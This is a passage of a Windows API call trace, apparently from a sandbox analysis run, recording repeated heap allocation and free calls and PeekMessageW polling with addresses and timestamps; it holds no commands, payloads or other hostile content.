(HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.704] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0138.704] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.704] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0138.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0138.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0138.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.705] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.705] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0138.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0138.706] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.706] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.706] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0138.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0138.707] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.707] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.707] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0138.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0138.708] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.708] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.708] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.709] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.709] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.709] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.709] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec510 [0138.709] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec510 | out: hHeap=0xe80000) returned 1 [0138.710] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.710] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.710] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.710] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.711] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.711] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.711] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0138.711] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0138.712] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.712] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.712] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0138.712] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0138.713] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.713] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.713] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.714] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0138.714] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0138.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0138.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0138.715] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.715] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0138.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0138.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0138.716] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba818 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0138.716] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2610 [0138.716] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b70 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0138.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0138.717] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0138.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.717] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.718] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.718] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0138.718] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.719] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.719] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.719] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.719] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.719] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.719] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.719] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.719] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.720] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.720] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.720] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.720] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.720] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.720] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0138.720] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0138.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.721] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.721] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.721] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.721] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0138.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0138.722] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.723] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0138.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0138.724] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.724] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.724] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.724] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0138.725] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0138.725] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0138.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0138.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.725] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.725] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0138.726] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0138.726] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0138.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0138.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0138.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0138.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0138.726] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0138.726] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.727] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0138.727] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0138.727] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0138.727] RtlAllocateHeap 